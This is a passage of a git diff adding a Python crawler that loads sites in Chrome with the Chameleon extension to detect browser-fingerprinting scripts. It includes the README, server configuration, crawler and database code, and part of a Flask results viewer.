+- Install the project's Python dependencies (documented in [requirements.txt](requirements.txt)). You might do this with `virtualenv` and `pip`, or maybe Docker. Note this is a Python 3 project.
+
+- Make sure `chromedriver` is in your $PATH. It's not on Ubuntu, so we have to fix that:
+```
+sudo ln -s /usr/lib/chromium-browser/chromedriver /usr/local/bin/chromedriver
+```
+
+- If using Ubuntu 14.04, [fix chromedriver's shared libraries error](http://stackoverflow.com/questions/25695299/chromedriver-on-ubuntu-14-04-error-while-loading-shared-libraries-libui-base):
+```
+echo "/usr/lib/chromium-browser/libs" | sudo tee --append /etc/ld.so.conf.d/chrome_lib.conf >/dev/null
+sudo ldconfig
+```
+
+- Finally, generate a Chameleon CRX package [by following development setup steps 1 and 4 in Chameleon's checkout](https://github.com/ghostwords/chameleon#development-setup).
+
+
+## Usage
+
+Run `./crawl.py /path/to/chameleon.crx` to perform a crawl, or `./crawl.py -h` to see the optional arguments:
+
+```
+usage: crawl.py [-h] [--headless | --no-headless] [-n {1,2,3,4,5,6,7,8}] [-q]
+                [-t SECONDS] [--urls URL_FILE_PATH]
+                CHAMELEON_CRX_FILE_PATH
+
+positional arguments:
+  CHAMELEON_CRX_FILE_PATH
+                        path to Chameleon CRX package
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --headless            use a virtual display (default)
+  --no-headless
+  -n {1,2,3,4,5,6,7,8}  how many browsers to use in parallel (default: 4)
+  -q, --quiet           turn off standard output
+  -t SECONDS, --timeout SECONDS
+                        how many seconds to wait for pages to finish loading
+                        before timing out (default: 20)
+  --urls URL_FILE_PATH  path to URL list file (default: urls.txt)
+```
+
+Run `./view.py` and visit the displayed URL to review crawl results.
+
+
+## Roadmap
+
+1. Crawl Alexa Global Top 1,000,000 Sites: http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
+2. Analyze results:
+	- Discover fingerprinters
+	- Confirm detection of known fingerprinters
+3. Tweak the heuristic to minimize false negatives/positives.
+4. Create minisite to chart (the growth of?) fingerprinting across the Web.
+
+
+## Code license
+
+Mozilla Public License Version 2.0
diff --git a/chameleon-crawler/conf/nginx.conf b/chameleon-crawler/conf/nginx.conf
new file mode 100644
index 00000000..86c4ccdc
--- /dev/null
+++ b/chameleon-crawler/conf/nginx.conf
@@ -0,0 +1,53 @@
+# needs to end up in /etc/nginx/sites-available (and get linked to ../sites-enabled)
+
+server {
+	listen [::]:80;
+	listen 80;
+
+	server_name panopticlicker.com www.panopticlicker.com;
+
+	# serve ACME challenge files over HTTP
+	location /.well-known/acme-challenge/ {
+		alias /var/www/challenges/.well-known/acme-challenge/;
+		try_files $uri @forward_https;
+	}
+
+	# redirect HTTP requests to HTTPS
+	location @forward_https {
+		return 301 https://www.panopticlicker.com$request_uri;
+	}
+	location / {
+		return 301 https://www.panopticlicker.com$request_uri;
+	}
+}
+
+server {
+	listen [::]:443 ssl spdy;
+	listen 443 ssl spdy;
+
+	server_name panopticlicker.com;
+
+	include /etc/nginx/ssl/panopticlicker.ssl.conf;
+
+	return 301 https://www.panopticlicker.com$request_uri;
+}
+
+server {
+	listen [::]:443 ssl spdy;
+	listen 443 ssl spdy;
+
+	server_name www.panopticlicker.com;
+
+	include /etc/nginx/ssl/panopticlicker.ssl.conf;
+
+	root /var/www/panopticlicker.com;
+
+	location / {
+		uwsgi_pass unix:/tmp/uwsgi.sock;
+		include /etc/nginx/uwsgi_params;
+	}
+
+	location /static {
+		alias /var/www/panopticlicker.com/viewer/static;
+	}
+}
diff --git a/chameleon-crawler/conf/ssl.conf b/chameleon-crawler/conf/ssl.conf
new file mode 100644
index 00000000..ef516b38
--- /dev/null
+++ b/chameleon-crawler/conf/ssl.conf
@@ -0,0 +1,13 @@
+# /etc/nginx/ssl/panopticlicker.ssl.conf
+
+#ssl_certificate /etc/nginx/ssl/www.panopticlicker.com.crt;
+#ssl_certificate_key /etc/nginx/ssl/www.panopticlicker.com.key;
+ssl_certificate /etc/letsencrypt/live/panopticlicker.com/fullchain.pem;
+ssl_certificate_key /etc/letsencrypt/live/panopticlicker.com/key.pem;
+
+ssl_session_timeout 1d;
+ssl_session_cache shared:SSL:50m;
+
+ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
+ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
+ssl_prefer_server_ciphers on;
diff --git a/chameleon-crawler/conf/uwsgi-upstart.conf b/chameleon-crawler/conf/uwsgi-upstart.conf
new file mode 100644
index 00000000..3cfdf1d5
--- /dev/null
+++ b/chameleon-crawler/conf/uwsgi-upstart.conf
@@ -0,0 +1,13 @@
+# needs to end up in /etc/init
+
+description "uWSGI Chameleon Crawler Viewer server"
+
+start on runlevel [2345]
+stop on runlevel [!2345]
+
+setuid www-data
+setgid www-data
+
+env PATH=/var/www/panopticlicker.com/env/bin
+chdir /var/www/panopticlicker.com
+exec uwsgi --ini conf/uwsgi.ini
diff --git a/chameleon-crawler/conf/uwsgi.ini b/chameleon-crawler/conf/uwsgi.ini
new file mode 100644
index 00000000..7d377577
--- /dev/null
+++ b/chameleon-crawler/conf/uwsgi.ini
@@ -0,0 +1,12 @@
+[uwsgi]
+socket = /tmp/uwsgi.sock
+chmod-socket = 660
+uid = www-data
+gid = www-data
+home = env
+module = viewer.app:app
+master = true
+processes = 4
+die-on-term = true
+req-logger = file:/var/log/uwsgi/access.log
+logger = file:/var/log/uwsgi/error.log
diff --git a/chameleon-crawler/crawl.py b/chameleon-crawler/crawl.py
new file mode 100755
index 00000000..31df0202
--- /dev/null
+++ b/chameleon-crawler/crawl.py
@@ -0,0 +1,91 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from datetime import datetime
+from random import shuffle
+from multiprocessing import Process, Queue
+from urllib.parse import urlparse
+
+from crawler.args import parse_args
+from crawler.collector import collect
+from crawler.crawler_manager import Crawler
+from crawler.utils import Logger
+from utils.database import DATABASE_URL, initialize_database
+
+import dataset
+import sys
+
+
+def run():
+    # get commandline args
+    args = parse_args()
+
+    initialize_database()
+
+    # store start time & args, plus get an ID for this crawl
+    with dataset.connect(DATABASE_URL) as db:
+        crawl_id = db['crawl'].insert(dict(
+            args=" ".join(sys.argv[1:]),
+            start_time=datetime.now()
+        ))
+
+    url_queue = Queue() # (url, num_timeouts) tuples
+    result_queue = Queue()
+
+    # read in URLs and populate the job queue
+    with args.urls:
+        urls = list(args.urls)
+        # randomize crawl order
+        shuffle(urls)
+    for url in urls:
+        url = url.strip()
+        if not urlparse(url).scheme:
+            url = 'http://' + url
+        url_queue.put((url, 0))
+
+    log = Logger().log if not args.quiet else lambda *args, **kwargs: None
+
+    # launch browsers
+    crawlers = []
+    for i in range(args.num_crawlers):
+        crawler = Process(
+            target=Crawler,
+            args=(i + 1,),
+            kwargs={
+                'crx': args.crx,
+                'headless': args.headless,
+                'logger': log,
+                'timeout': args.timeout,
+                'url_queue': url_queue,
+                'result_queue': result_queue
+            }
+        )
+        crawler.start()
+        crawlers.append(crawler)
+
+    # start the collector process
+    Process(target=collect, args=(crawl_id, result_queue, log)).start()
+
+    # wait for all browsers to finish
+    for crawler in crawlers:
+        crawler.join()
+
+    # tell collector we are done
+    result_queue.put(None)
+
+    # store completion time
+    with dataset.connect(DATABASE_URL) as db:
+        db['crawl'].update(dict(id=crawl_id, end_time=datetime.now()), 'id')
+
+    log("Main process all done!")
+
+
+if __name__ == '__main__':
+    run()
diff --git a/chameleon-crawler/crawler/args.py b/chameleon-crawler/crawler/args.py
new file mode 100644
index 00000000..d4fca322
--- /dev/null
+++ b/chameleon-crawler/crawler/args.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from os import path
+
+import argparse
+
+
+def is_valid_file(f, parser):
+    if path.isfile(f):
+        return f
+    raise argparse.ArgumentTypeError("%s does not exist!" % f)
+
+
+def parse_args():
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument(
+        "crx", metavar='CHAMELEON_CRX_FILE_PATH',
+        type=lambda x: is_valid_file(x, parser),
+        help="path to Chameleon CRX package"
+    )
+
+    group = parser.add_mutually_exclusive_group()
+    group.add_argument(
+        "--headless", action="store_true", default=True,
+        help="use a virtual display (default)"
+    )
+    group.add_argument("--no-headless", dest='headless', action="store_false")
+
+    parser.add_argument(
+        "-n", dest='num_crawlers', type=int,
+        choices=range(1, 9), default=4,
+        help="how many browsers to use in parallel "
+        "(default: %(default)s)"
+    )
+
+    parser.add_argument(
+        "-q", "--quiet", action="store_true", default=False,
+        help="turn off standard output"
+    )
+
+    parser.add_argument(
+        "-t", "--timeout", metavar='SECONDS',
+        type=int, default=20,
+        help="how many seconds to wait for pages to finish "
+        "loading before timing out (default: %(default)s)"
+    )
+
+    parser.add_argument(
+        "--urls", metavar='URL_FILE_PATH',
+        type=argparse.FileType('r'), default='urls.txt',
+        help="path to URL list file (default: %(default)s)"
+    )
+
+    return parser.parse_args()
diff --git a/chameleon-crawler/crawler/collector.py b/chameleon-crawler/crawler/collector.py
new file mode 100644
index 00000000..8908d6ca
--- /dev/null
+++ b/chameleon-crawler/crawler/collector.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from time import sleep
+
+from utils.database import DATABASE_URL
+
+import dataset
+
+
+def collect(crawl_id, result_queue, log):
+    db = dataset.connect(DATABASE_URL)
+
+    while True:
+        if result_queue.empty():
+            sleep(0.01)
+            continue
+
+        result = result_queue.get()
+
+        if result is None:
+            break
+
+        crawl_url, error, result = result
+
+        if not result:
+            with db:
+                db['result'].insert(dict(
+                    crawl_id=crawl_id,
+                    crawl_url=crawl_url,
+                    error=error
+                ))
+            continue
+
+        for page_url, page_data in result.items():
+            if not page_data['domains']:
+                # nothing found
+                with db:
+                    db['result'].insert(dict(
+                        crawl_id=crawl_id,
+                        crawl_url=crawl_url,
+                        page_url=page_url
+                    ))
+                continue
+
+            for script_domain, ddata in page_data['domains'].items():
+                for script_url, sdata in ddata['scripts'].items():
+                    with db:
+                        canvas_id = None
+                        if 'dataURL' in sdata['canvas']:
+                            data_url = sdata['canvas']['dataURL']
+                            if data_url:
+                                db.query("""INSERT OR IGNORE INTO canvas (data_url)
+                                    VALUES (:data_url)""", data_url=data_url)
+                                canvas_id = db['canvas'].find_one(
+                                    data_url=data_url)['id']
+
+                        result_id = db['result'].insert(dict(
+                            crawl_id=crawl_id,
+                            crawl_url=crawl_url,
+                            page_url=page_url,
+                            script_url=script_url,
+                            script_domain=script_domain,
+                            canvas=sdata['canvas']['fingerprinting'],
+                            canvas_id=canvas_id,
+                            font_enum=sdata['fontEnumeration'],
+                            navigator_enum=sdata['navigatorEnumeration']
+                        ))
+
+                    # property access counts get saved in `property_count`
+                    rows = []
+                    for property, count in sdata['counts'].items():
+                        rows.append(dict(
+                            result_id=result_id,
+                            property=property,
+                            count=count
+                        ))
+                    with db:
+                        db['property_count'].insert_many(rows)
+
+    log("Collecting finished.")
diff --git a/chameleon-crawler/crawler/crawler_manager.py b/chameleon-crawler/crawler/crawler_manager.py
new file mode 100644
index 00000000..82420665
--- /dev/null
+++ b/chameleon-crawler/crawler/crawler_manager.py
@@ -0,0 +1,107 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from multiprocessing import Process, Queue
+
+from .crawler_process import CrawlerProcess
+
+import os
+import queue
+import signal
+
+
+class Crawler(object):
+    def __init__(self, id, headless=True, timeout=20, **kwargs):
+        self.id = id
+        self.headless = headless
+
+        self.crx = kwargs['crx']
+        self.glob_url_queue = kwargs['url_queue']
+        self.glob_result_queue = kwargs['result_queue']
+        self.log = kwargs['logger']
+
+        self.url_queue = Queue()
+        self.result_queue = Queue()
+
+        self.start_process()
+
+        while not self.glob_url_queue.empty():
+            url, num_timeouts = self.glob_url_queue.get()
+
+            self.url_queue.put(url)
+
+            try:
+                error, result = self.result_queue.get(
+                    True,
+                    timeout * ((num_timeouts + 1) ** 2)
+                )
+
+            except queue.Empty:
+                self.log("%s timed out fetching %s" % (self.process.name, url))
+                num_timeouts += 1
+
+                self.stop_process()
+
+                if num_timeouts > 2:
+                    self.log("Too many timeouts, giving up on %s" % url)
+                    self.glob_result_queue.put((url, 'TIMEOUT', None))
+                    reinserted = False
+                else:
+                    self.glob_url_queue.put((url, num_timeouts))
+                    reinserted = True
+
+                if reinserted or not self.glob_url_queue.empty():
+                    self.start_process()
+
+            else:
+                self.glob_result_queue.put((url, error, result))
+
+        # tell the process we are done
+        self.url_queue.put(None)
+
+    def start_process(self):
+        name = "Crawler %i" % self.id
+        self.log("Starting %s" % name)
+
+        self.process = Process(
+            target=CrawlerProcess,
+            name=name,
+            kwargs={
+                'crx': self.crx,
+                'headless': self.headless,
+                'logger': self.log,
+                'url_queue': self.url_queue,
+                'result_queue': self.result_queue
+            }
+        )
+
+        self.process.start()
+
+        self.driver_pid, self.display_pid = self.result_queue.get()
+
+    # TODO cross-platform termination (with psutil?)
+    def stop_process(self):
+        self.log("Stopping %s" % self.process.name)
+
+        try:
+            os.kill(self.process.pid, signal.SIGKILL)
+        except ProcessLookupError:
+            self.log("Crawler process not found.")
+
+        try:
+            os.kill(self.driver_pid, signal.SIGKILL)
+        except ProcessLookupError:
+            self.log("chromedriver process not found.")
+
+        if self.headless:
+            try:
+                os.kill(self.display_pid, signal.SIGKILL)
+            except ProcessLookupError:
+                self.log("Xvfb process not found.")
diff --git a/chameleon-crawler/crawler/crawler_process.py b/chameleon-crawler/crawler/crawler_process.py
new file mode 100644
index 00000000..cac73aa2
--- /dev/null
+++ b/chameleon-crawler/crawler/crawler_process.py
@@ -0,0 +1,182 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from contextlib import contextmanager
+from multiprocessing import current_process
+from pyvirtualdisplay import Display
+from random import random
+from selenium import webdriver
+from selenium.common.exceptions import (
+    TimeoutException,
+    UnexpectedAlertPresentException
+)
+from selenium.webdriver.support.ui import WebDriverWait
+from time import sleep
+
+
+class CrawlerProcess(object):
+    def __init__(self, headless=True, **kwargs):
+        self.headless = headless
+
+        self.crx = kwargs['crx']
+        self.log = kwargs['logger']
+        self.url_queue = kwargs['url_queue']
+        self.result_queue = kwargs['result_queue']
+
+        self.name = current_process().name
+
+        self.crawl()
+
+        self.log("%s is all done!" % self.name)
+
+    def crawl(self):
+        with self.selenium():
+            # open the extension's background page in window 0
+            # Chrome extension APIs just aren't there sometimes ...
+            while True:
+                self.get(
+                    "chrome-extension://%s/_generated_background_page.html" %
+                    self.extension_id)
+
+                if self.js("return chrome.hasOwnProperty('tabs')"):
+                    break
+
+            # get a URL from the job queue
+            while True:
+                if self.url_queue.empty():
+                    sleep(0.01)
+                    continue
+
+                url = self.url_queue.get()
+
+                if url is None:
+                    break
+
+                # open a new window
+                self.js('window.open()')
+                # switch to the new window
+                self.driver.switch_to_window(self.driver.window_handles[-1])
+
+                # load the URL in the new window
+                self.get(url)
+
+                if not self.get_data():
+                    # must be a browser error page: "Unable to connect to the
+                    # Internet", "This webpage is not available", ...
+                    self.log("%s got a browser error." % self.name)
+                    self.result_queue.put(('BROWSER ERROR', None))
+                    continue
+
+                # scroll to encourage dynamic scripts to load/execute
+                # this takes between 3 and 13 seconds
+                for _ in range(10):
+                    sleep(0.3 + random())
+
+                    # handle modal dialogs (alerts)
+                    while True:
+                        try:
+                            self.js('window.scrollBy(0, %f)' %
+                                (random() * 500))
+                            break
+                        except UnexpectedAlertPresentException:
+                            self.driver.switch_to_alert().dismiss()
+
+                self.log("%s getting data ..." % self.name)
+                self.result_queue.put((None, self.get_data()))
+
+                # close the window opened above
+                self.driver.close()
+                # close any popups
+                for window in self.driver.window_handles:
+                    if window != self.driver.window_handles[0]:
+                        self.driver.switch_to_window(window)
+                        self.driver.close()
+                # switch back to the extension's background page
+                self.driver.switch_to_window(self.driver.window_handles[0])
+
+    @contextmanager
+    def selenium(self):
+        self.startup()
+
+        self.extension_id = self.get_extension_id()
+
+        try:
+            yield
+        finally:
+            self.shutdown()
+
+    def startup(self):
+        if self.headless:
+            self.display = Display(visible=0, size=(1440, 900))
+            self.display.start()
+
+        opts = webdriver.chrome.options.Options()
+        opts.add_extension(self.crx)
+        self.driver = webdriver.Chrome(chrome_options=opts)
+        self.driver.implicitly_wait(5)
+
+        # communicate chromedriver and Xvfb PIDs back to crawler.py
+        display_pid = self.display.pid if self.headless else None
+        # NOTE Firefox is different: self.driver.binary.process.pid
+        driver_pid = self.driver.service.process.pid
+        self.result_queue.put((driver_pid, display_pid))
+
+    def shutdown(self):
+        self.driver.quit()
+        if self.headless:
+            self.display.stop()
+
+    def get_data(self):
+        cwh = self.driver.current_window_handle
+        # switch to window 0 (our extension's background page)
+        self.driver.switch_to_window(self.driver.window_handles[0])
+
+        self.js("""chrome.tabs.query({}, function (tabs) {
+            window.result = tabs.reduce(function (memo, tab) {
+                var data = tabData.get(tab.id);
+                if (data) {
+                    memo[data.url] = data;
+                }
+                return memo;
+            }, {});
+        });""")
+
+        try:
+            self.wait_for_script(
+                "return typeof result == 'object' && !!result")
+        except TimeoutException:
+            self.log("%s failed to get data from the extension!" % self.name)
+            raise
+
+        data = self.js("return result")
+
+        # switch back to original window
+        self.driver.switch_to_window(cwh)
+
+        return data
+
+    def get(self, url):
+        self.log("%s fetching %s ..." % (self.name, url))
+        self.driver.get(url)
+
+    def get_extension_id(self):
+        self.driver.get('chrome://extensions-frame/')
+        self.driver.find_element_by_id('toggle-dev-on').click()
+        return self.driver.find_element_by_class_name(
+            'extension-list-item-wrapper').get_attribute('id')
+
+    def js(self, script):
+        return self.driver.execute_script(script)
+
+    def wait_for_script(self, script, timeout=5):
+        return WebDriverWait(self.driver, timeout, poll_frequency=0.5).until(
+            lambda drv: drv.execute_script(script),
+            ("Timeout waiting for script to eval to True:\n%s" % script)
+        )
diff --git a/chameleon-crawler/crawler/utils.py b/chameleon-crawler/crawler/utils.py
new file mode 100644
index 00000000..ebf9c453
--- /dev/null
+++ b/chameleon-crawler/crawler/utils.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from multiprocessing import Lock
+
+
+class Logger(object):
+    def __init__(self):
+        self.lock = Lock()
+
+    def log(self, *args, **kwargs):
+        with self.lock:
+            print(*args, **kwargs)
diff --git a/chameleon-crawler/requirements.txt b/chameleon-crawler/requirements.txt
new file mode 100644
index 00000000..71e0c544
--- /dev/null
+++ b/chameleon-crawler/requirements.txt
@@ -0,0 +1,5 @@
+dataset==0.5.6
+flask==0.10.1
+flask-failsafe==0.2
+pyvirtualdisplay==0.1.5
+selenium==2.44.0
diff --git a/chameleon-crawler/results_schema.sql b/chameleon-crawler/results_schema.sql
new file mode 100644
index 00000000..38291284
--- /dev/null
+++ b/chameleon-crawler/results_schema.sql
@@ -0,0 +1,32 @@
+CREATE TABLE crawl (
+	id INTEGER PRIMARY KEY AUTOINCREMENT,
+	args TEXT,
+	start_time DATETIME NOT NULL,
+	end_time DATETIME
+);
+CREATE TABLE result (
+	id INTEGER PRIMARY KEY AUTOINCREMENT,
+	crawl_id INTEGER NOT NULL,
+	crawl_url TEXT,
+	error TEXT,
+	page_url TEXT,
+	script_url TEXT,
+	script_domain TEXT,
+	canvas BOOLEAN,
+	canvas_id INTEGER,
+	font_enum BOOLEAN,
+	navigator_enum BOOLEAN,
+	FOREIGN KEY(crawl_id) REFERENCES crawl(id),
+	FOREIGN KEY(canvas_id) REFERENCES canvas(id)
+);
+CREATE TABLE property_count (
+	id INTEGER PRIMARY KEY AUTOINCREMENT,
+	result_id INTEGER NOT NULL,
+	property TEXT,
+	count INTEGER,
+	FOREIGN KEY(result_id) REFERENCES result(id)
+);
+CREATE TABLE canvas (
+	id INTEGER PRIMARY KEY AUTOINCREMENT,
+	data_url TEXT NOT NULL UNIQUE
+);
diff --git a/chameleon-crawler/setup.cfg b/chameleon-crawler/setup.cfg
new file mode 100644
index 00000000..a9a31fa7
--- /dev/null
+++ b/chameleon-crawler/setup.cfg
@@ -0,0 +1,2 @@
+[flake8]
+ignore = E128,E261,E265
diff --git a/chameleon-crawler/urls.txt b/chameleon-crawler/urls.txt
new file mode 100644
index 00000000..1b8be67f
--- /dev/null
+++ b/chameleon-crawler/urls.txt
@@ -0,0 +1,2 @@
+https://www.google.com/
+https://www.yahoo.com/
diff --git a/chameleon-crawler/utils/database.py b/chameleon-crawler/utils/database.py
new file mode 100644
index 00000000..b0f37e10
--- /dev/null
+++ b/chameleon-crawler/utils/database.py
@@ -0,0 +1,60 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+import dataset
+
+DATABASE_URL = 'sqlite:///results.sqlite3'
+SCHEMA_VERSION = 3
+
+MIGRATIONS = {
+    2: ["ALTER TABLE crawl ADD COLUMN args TEXT"],
+    3: [
+        (
+            "CREATE TABLE canvas ("
+            "id INTEGER PRIMARY KEY AUTOINCREMENT,"
+            "data_url TEXT NOT NULL UNIQUE"
+            ")"
+        ),
+        "ALTER TABLE result ADD COLUMN canvas_id INTEGER REFERENCES canvas(id)"
+    ]
+}
+
+
+def migrate_database(current_version):
+    # TODO in a transaction, BUT pysqlite doesn't do DDL transactions correctly
+    # http://docs.sqlalchemy.org/en/latest/dialects/sqlite.html#transactional-ddl
+    with dataset.connect(DATABASE_URL) as db:
+        for i in range(current_version + 1, SCHEMA_VERSION + 1):
+            for sql in MIGRATIONS[i]:
+                db.query(sql)
+
+
+def initialize_database():
+    # in a transaction
+    with dataset.connect(DATABASE_URL) as db:
+        current_version = next(db.query("PRAGMA user_version"))['user_version']
+
+        if current_version == 0:
+            # new database: create tables from schema
+            if 'crawl' not in db.tables:
+                with open('results_schema.sql') as f:
+                    for sql in f.read().split(';'):
+                        db.query(sql)
+
+            # "version 1" database: existing db from before versioning
+            else:
+                migrate_database(1)
+
+        # existing database: apply schema updates
+        elif current_version != SCHEMA_VERSION:
+            migrate_database(current_version)
+
+        if current_version != SCHEMA_VERSION:
+            db.query("PRAGMA user_version = %i" % SCHEMA_VERSION)
diff --git a/chameleon-crawler/view.py b/chameleon-crawler/view.py
new file mode 100755
index 00000000..aa1d9025
--- /dev/null
+++ b/chameleon-crawler/view.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from flask_failsafe import failsafe
+
+
+@failsafe
+def create_app():
+    # imports of our code are inside this function so that Flask-Failsafe can
+    # catch errors that happen at import time
+    from viewer.app import app
+
+    return app
+
+
+if __name__ == '__main__':
+    create_app().run(debug=True)
diff --git a/chameleon-crawler/viewer/app.py b/chameleon-crawler/viewer/app.py
new file mode 100644
index 00000000..a2cfc34d
--- /dev/null
+++ b/chameleon-crawler/viewer/app.py
@@ -0,0 +1,250 @@
+#!/usr/bin/env python3
+
+# chameleon-crawler
+#
+# Copyright 2016 ghostwords.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from datetime import datetime
+from flask import Flask, render_template, request
+from utils.database import DATABASE_URL, initialize_database
+
+import dataset
+
+
+app = Flask(__name__)
+
+app.config['DATABASE_URL'] = DATABASE_URL
+app.jinja_env.trim_blocks = True
+app.jinja_env.lstrip_blocks = True
+
+initialize_database()
+
+
+def get_canvases(result_ids):
+    canvases = {}
+
+    sql = """SELECT canvas.id, data_url
+        FROM canvas
+        JOIN result ON result.canvas_id = canvas.id
+        WHERE result.id IN (%s)""" % ','.join(
+        [str(int(id)) for id in result_ids])
+
+    with dataset.connect(app.config['DATABASE_URL']) as db:
+        for row in db.query(sql):
+            canvases[row['id']] = row['data_url']
+
+    return canvases
+
+
+def get_fingerprinters(crawl_ids=None, canvas=True, font_enum=True,
+        navigator_enum=True, num_properties=4, webgl=False, webrtc=False):
+    fp = {}
+    result_ids = set()
+
+    in_clause = ""
+    if crawl_ids:
+        in_clause = "AND crawl_id IN (%s)" % ','.join(
+            [str(int(id)) for id in crawl_ids])
+
+    filters = []
+    if canvas:
+        filters.append("canvas = 1")
+    if font_enum:
+        filters.append("font_enum = 1")
+    if navigator_enum:
+        filters.append("navigator_enum = 1")
+    if num_properties:
+        filters.append("num_properties >= %s" % str(int(num_properties)))
+
+    having_clause = ""
+    if filters:
+        having_clause = "HAVING %s" % " OR ".join(filters)
+
+    where = []
+    if webgl:
+        where.append("""(
+            pc.property = 'WebGLRenderingContext.prototype.getParameter'
+                OR pc.property =
+                    'WebGLRenderingContext.prototype.getSupportedExtensions'
+            )""")
+    if webrtc:
+        where.append("""(
+            pc.property = 'RTCPeerConnection'
+                OR pc.property = 'webkitRTCPeerConnection'
+            )""")
+
+    union_clause = ""
+    if where and filters:
+        union_clause = """UNION
+            SELECT
+                result.*,
+                COUNT(pc.result_id) num_properties
+            FROM result
+            JOIN property_count pc ON pc.result_id = result.id
+            WHERE %s
+            GROUP BY pc.result_id""" % " OR ".join(where)
+    elif where and not filters:
+        in_clause = "%s AND (%s)" % (in_clause, " OR ".join(where))
+
+    sql = """SELECT * FROM (
+        SELECT
+            result.*,
+            COUNT(pc.result_id) num_properties
+        FROM result
+        LEFT JOIN property_count pc ON pc.result_id = result.id
+        WHERE 1 {in_clause}
+        GROUP BY COALESCE(pc.result_id, result.id)
+        {having_clause}
+        {union_clause}
+    ) GROUP BY
+        crawl_url,
+        page_url,
+        script_url,
+        canvas,
+        canvas_id,
+        font_enum,
+        navigator_enum,
+        num_properties""".format(
+        in_clause=in_clause,
+        having_clause=having_clause,
+        union_clause=union_clause)
+
+    with dataset.connect(app.config['DATABASE_URL']) as db:
+        result = db.query(sql)
+
+        """ {
+            row['script_domain']: {
+                row['script_url']: [
+                    row,
+                    ...
+                ],
+                ...
+            },
+            ...
+        }"""
+        for row in result:
+            fp.setdefault(row['script_domain'], {}).setdefault(
+                row['script_url'], []).append(row)
+
+            result_ids.add(row['id'])
+
+    return fp, result_ids
+
+
+def get_problem_pages(crawl_ids):
+    if crawl_ids:
+        in_clause = "AND crawl_id IN (%s)" % ','.join(
+            [str(int(id)) for id in crawl_ids])
+
+    sql = """SELECT crawl_url, error, COUNT(*) count
+        FROM result
+        WHERE error IS NOT NULL %s
+        GROUP BY crawl_url, error
+        ORDER BY count DESC""" % (in_clause if crawl_ids else "")
+
+    with dataset.connect(app.config['DATABASE_URL']) as db:
+        result = db.query(sql)
+        return list(result)
+
+
+def get_error_counts():
+    errors = {}
+
+    with dataset.connect(app.config['DATABASE_URL']) as db:
+        result = db.query(
+            """SELECT crawl_id, error, COUNT(DISTINCT crawl_url) num_urls
+            FROM result
+            WHERE error IS NOT NULL
+            GROUP BY crawl_id, error"""
+        )
+
+        for row in result:
+            errors.setdefault(
+                row['crawl_id'], {})[row['error']] = row['num_urls']
+
+    return errors
+
+
+def get_crawls():
+    with dataset.connect(app.config['DATABASE_URL']) as db:
+        return list(db.query(
+            """SELECT
+            crawl.id,
+            crawl.args,
+            COUNT(DISTINCT crawl_url) num_urls,
